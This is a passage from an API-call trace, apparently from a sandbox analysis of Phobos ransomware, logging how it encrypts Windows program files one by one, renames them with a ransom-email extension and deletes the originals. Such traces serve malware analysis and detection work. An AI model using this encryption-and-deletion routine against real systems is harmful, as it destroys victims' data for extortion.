"c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.391] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=30720) returned 1 [0169.391] CloseHandle (hObject=0x2d8) returned 1 [0169.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0169.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.391] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.392] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=370176) returned 1 [0169.392] CloseHandle (hObject=0x2d8) returned 1 [0169.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0169.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.392] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.392] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=363728) returned 1 [0169.392] CloseHandle (hObject=0x2d8) returned 1 [0169.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 0x20 [0169.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.393] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0169.393] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0169.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0169.393] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d16d0) returned 1 [0169.393] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0169.394] ReadFile (in: hFile=0x2d8, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x58cd0, lpOverlapped=0x0) returned 1 [0170.047] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x58ce0, dwBufLen=0x58ce0 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x58ce0) returned 1 [0170.048] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x58ce0, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x58ce0, lpOverlapped=0x0) returned 1 [0170.055] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1710) returned 1 [0170.055] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0170.055] CryptEncrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0170.055] CryptDestroyKey (hKey=0x1d1710) returned 1 [0170.055] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0170.055] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0170.055] CloseHandle (hObject=0x2d8) returned 1 [0170.055] CloseHandle (hObject=0x2e4) returned 1 [0170.055] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 1 [0170.060] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0170.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0170.060] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=590523) returned 1 [0170.060] CloseHandle (hObject=0x2e4) returned 1 [0170.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20 [0170.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0170.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0170.061] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0170.061] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0170.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0170.062] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1a10) returned 1 [0170.062] CryptSetKeyParam (hKey=0x1d1a10, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0170.062] ReadFile (in: hFile=0x2e4, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x902bb, lpOverlapped=0x0) returned 1 [0170.206] CryptEncrypt (in: hKey=0x1d1a10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x902c0, dwBufLen=0x902c0 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x902c0) returned 1 [0170.209] WriteFile (in: hFile=0x2d8, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x902c0, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x902c0, lpOverlapped=0x0) returned 1 [0170.220] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1410) returned 1 [0170.220] CryptSetKeyParam (hKey=0x1d1410, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0170.220] CryptEncrypt (in: hKey=0x1d1410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x60, dwBufLen=0x60 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x60) returned 1 [0170.220] CryptDestroyKey (hKey=0x1d1410) returned 1 [0170.220] WriteFile (in: hFile=0x2d8, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x112, lpOverlapped=0x0) returned 1 [0170.220] CryptDestroyKey (hKey=0x1d1a10) returned 1 [0170.220] CloseHandle (hObject=0x2e4) returned 1 [0170.220] CloseHandle (hObject=0x2d8) returned 1 [0170.220] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 1 [0170.227] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0170.227] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0170.230] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=18624) returned 1 [0170.230] CloseHandle (hObject=0x2d8) returned 1 [0170.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0170.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0170.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0170.231] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0170.231] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0170.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0170.232] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d17d0) returned 1 [0170.232] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0170.232] ReadFile (in: hFile=0x2d8, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x48c0, lpOverlapped=0x0) returned 1 [0170.640] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x48d0, dwBufLen=0x48d0 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x48d0) returned 1 [0170.640] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x48d0, lpOverlapped=0x0) returned 1 [0170.641] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d19d0) returned 1 [0170.641] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0170.641] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x60, dwBufLen=0x60 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x60) returned 1 [0170.641] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0170.641] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x112, lpOverlapped=0x0) returned 1 [0170.641] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0170.641] CloseHandle (hObject=0x2d8) returned 1 [0170.641] CloseHandle (hObject=0x2e4) returned 1 [0170.642] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 1 [0170.644] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0170.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0170.644] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=987136) returned 1 [0170.644] CloseHandle (hObject=0x2e4) returned 1 [0170.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll")) returned 0x20 [0170.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0170.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.645] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0170.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0170.647] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=12448) returned 1 [0170.647] CloseHandle (hObject=0x2e4) returned 1 [0170.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 0x20 [0170.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0170.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0170.647] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0170.647] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0170.648] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0170.664] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d19d0) returned 1 [0170.664] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0170.664] ReadFile (in: hFile=0x2e4, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x30a0, lpOverlapped=0x0) returned 1 [0170.967] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x30b0, dwBufLen=0x30b0 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x30b0) returned 1 [0170.967] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x30b0, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x30b0, lpOverlapped=0x0) returned 1 [0170.969] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1550) returned 1 [0170.969] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0170.969] CryptEncrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x50, dwBufLen=0x50 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x50) returned 1 [0170.969] CryptDestroyKey (hKey=0x1d1550) returned 1 [0170.969] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x102, lpOverlapped=0x0) returned 1 [0170.969] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0170.969] CloseHandle (hObject=0x2e4) returned 1 [0170.969] CloseHandle (hObject=0x2cc) returned 1 [0170.969] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 1 [0170.971] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0170.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0170.972] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=20608) returned 1 [0170.972] CloseHandle (hObject=0x2cc) returned 1 [0170.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 0x20 [0170.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0170.972] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0170.972] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0170.972] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0170.972] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program 